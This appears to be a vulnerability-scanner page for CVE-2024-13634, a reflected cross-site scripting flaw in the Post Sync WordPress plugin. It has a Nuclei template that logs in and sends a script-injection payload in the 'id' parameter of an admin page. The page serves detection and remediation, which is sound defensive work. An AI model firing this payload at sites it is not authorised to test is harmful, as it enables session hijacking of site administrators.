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Post Sync Plugin <= 1.1 - Cross-Site Scripting

CVE-2024-13634
Verified

Description

Post Sync WordPress plugin <= 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Severity

Medium

CVSS Score

6.1

Exploit Probability

2%

Affected Product

post_sync

Published Date

February 7, 2026

Template Author

sourabh-sahu

CVE-2024-13634.yaml
id: CVE-2024-13634

info:
  name: Post Sync Plugin <= 1.1 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Post Sync WordPress plugin <= 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/0e60bf74-19fb-441c-85a8-005def36af9a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13634
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13634
    cwe-id: CWE-79
    epss-score: 0.01533
    epss-percentile: 0.81542
    cpe: cpe:2.3:a:wphobby:post_sync:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wphobby
    product: post_sync
  tags: cve,cve2024,post-sync,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=add-site&id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "Remote Website Settings")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and
# digest: 490a0046304402206a9efa53565314f08b759439e967d7e466b03701fdd2171f873be057032ca41e02202b01204e9c87e3eeb04c9e432179e3b90bdb68044cca2ab8efa38555f42828aa:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13634
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/0e60bf74-19fb-441c-85a8-005def36af9a/https://nvd.nist.gov/vuln/detail/CVE-2024-13634

Remediation Steps

Update to the latest version of the plugin where the issue is fixed.